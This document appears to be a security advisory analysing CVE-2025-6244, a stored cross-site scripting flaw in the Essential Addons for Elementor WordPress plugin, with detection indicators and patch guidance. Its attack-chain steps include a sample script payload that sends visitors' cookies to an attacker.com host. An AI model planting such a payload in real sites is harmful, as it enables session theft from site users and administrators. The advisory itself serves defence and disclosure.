CVE-2025-6244: 
WordPress vulnerability analysis and mitigation

CVE-2025-6244 is a Stored Cross-Site Scripting (XSS) vulnerability in the Essential Addons for Elementor WordPress plugin (by WPDeveloper), affecting all versions up to and including 6.1.19. The flaw exists in the Calendar and Business Reviews widget attributes due to insufficient input sanitization and output escaping. It was published on July 8, 2025, and a patch was released on July 9, 2025. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) per NVD, and 6.4 (Medium) per ENISA EUVD (Wordfence, ENISA EUVD).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Authenticated users with Contributor-level access or higher can inject malicious JavaScript into widget attributes of the Calendar or Business Reviews widgets in Elementor page builder. Because the plugin fails to properly sanitize user-supplied input before storing it and fails to escape it on output, the injected script is persisted in the database and executes in the browser of any user who visits the affected page. No special configuration is required beyond having Contributor-level access on the target WordPress site (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers whenever they visit a page containing the injected widget. This can result in session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims, website defacement, or redirection to malicious sites. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to affect other users of the WordPress site, including administrators (Wordfence, ENISA EUVD).

There is no public proof-of-concept exploit code and no evidence of active in-the-wild exploitation at this time. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, ENISA EUVD).

1. Reconnaissance: Identify WordPress sites running Essential Addons for Elementor version 6.1.19 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
2. Obtain Contributor access: Register or compromise a Contributor-level (or higher) WordPress account on the target site.
3. Create or edit a page: Using the Elementor page builder, add a Calendar or Business Reviews widget to a page or post.
4. Inject malicious payload: Insert a crafted XSS payload (e.g., "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable widget attribute field that lacks proper sanitization.
5. Publish the page: Save and publish the page, causing the malicious script to be stored in the WordPress database.
6. Trigger execution: When any user (including administrators) visits the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints by Contributor-level accounts containing suspicious script tags or encoded JavaScript in widget attribute fields.
• Database: Unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload) stored in the wp_posts or wp_postmeta tables associated with Elementor widget data for Calendar or Business Reviews widgets.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing Essential Addons for Elementor widgets, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for stored XSS; however, review Elementor-generated page data for anomalous script content (Wordfence).

Update the Essential Addons for Elementor plugin to version 6.1.20 or later, which includes the fix applied in the changeset released on July 9, 2025. Site administrators should also audit existing pages using the Calendar and Business Reviews widgets for any previously injected malicious content. As a defense-in-depth measure, restrict Contributor-level account creation and review user permissions regularly. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide additional protection (WordPress Trac, Wordfence).

The vulnerability was disclosed by Wordfence, which assigned it and published the advisory. Sucuri included it in their July 2025 WordPress Vulnerability Patch Roundup, recommending prompt updates (Sucuri Blog). No significant broader media coverage or notable researcher commentary beyond standard vulnerability tracking has been observed.